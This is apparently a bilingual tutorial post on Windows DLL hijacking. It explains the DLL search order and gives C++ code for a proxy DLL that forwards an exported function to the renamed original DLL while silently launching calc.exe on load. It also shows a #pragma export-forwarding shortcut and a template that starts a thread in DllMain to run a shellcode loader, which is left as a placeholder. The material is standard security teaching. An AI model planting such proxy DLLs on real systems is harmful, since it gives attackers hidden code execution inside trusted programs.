Introduction
用中文写下理论知识,避免翻译的会看不懂了
DLL(Dynamic Link Library),全称动态链接库,是Windows系统上程序正常运行必不可少的功能模块,是实现代码重用的具体形式。简单的说,可以把DLL理解成帮助程序完成各种功能的组件。
DLL劫持,通过一些手段来劫持或者替换正常的DLL,从而加载编译好的恶意DLL
漏洞成因,调用loadlibrary可使用DLL的相对路径,这是系统会按照特定的顺序搜索一些目录,便于确认DLL的路径,根据官方文档的定义,在使用相对路径调用loadlibrary时,系统会依次从下方6个路径去寻找所需要的DLL
程序所在目录
加载 DLL 时所在的当前目录
系统目录即SYSTEM32目录
16位系统目录即SYSTEM目录
Windows目录
PATH环境变量中列出的目录
Easy Study
A lot of basic grammar is required here, so I won't go into detail here
Here use forward to implementation
Program A calls the function in AAA.dll, now change the AAA.dll to AAA_o.dll, then write A new AAA.dll and forward the original function to AAA_o.dll
The DLL is as follows. You need to write an EXE to call the DLL and its functions
aaa.dll
extern "C" __declspec(dllexport) void test();
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void test() {
MessageBox(NULL, L"aaa.dll success", L"s", 0);
}
the successful call has the following effect
Take a look at the export function and confirm the test export function
new dll
extern "C" __declspec(dllexport) void test();
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("calc.exe", SW_HIDE);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void test() {
MessageBox(NULL, L"SUCCESS", L"SSSSS", 0);
HINSTANCE hDllInst = LoadLibrary(L"aaa_o.dll");
if (hDllInst) {
typedef DWORD(WINAPI *EXPFUNC)();
EXPFUNC exportFunc = NULL;
exportFunc = (EXPFUNC)GetProcAddress(hDllInst, "test");
if (exportFunc) {
exportFunc();
}
FreeLibrary(hDllInst);
}
return;
}
The effect after hijacking is as follows
A different way to use precompilation is much faster
#pragma comment(linker, "/EXPORT:<Function name>=<Dll name>.<Function name>")
How to Online
extern "C" __declspec(dllexport) void test();
DWORD WINAPI DoSC(LPVOID lpParameter)
{
Like you SC loader
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
HANDLE threadHandle;
threadHandle = CreateThread(NULL, 0, DoSC, NULL, 0, NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void test()
{
MessageBox(NULL, L"XXX", L"YYY", 0);
HINSTANCE hDllInst = LoadLibrary(L"aaa.dll");
if (hDllInst)
{
typedef DWORD(WINAPI *EXPFUNC)();
EXPFUNC exportFunc = NULL;
exportFunc = (EXPFUNC)GetProcAddress(hDllInst, "test");
if (exportFunc)
{
exportFunc();
}
FreeLibrary(hDllInst);
}
return;
}
You can do this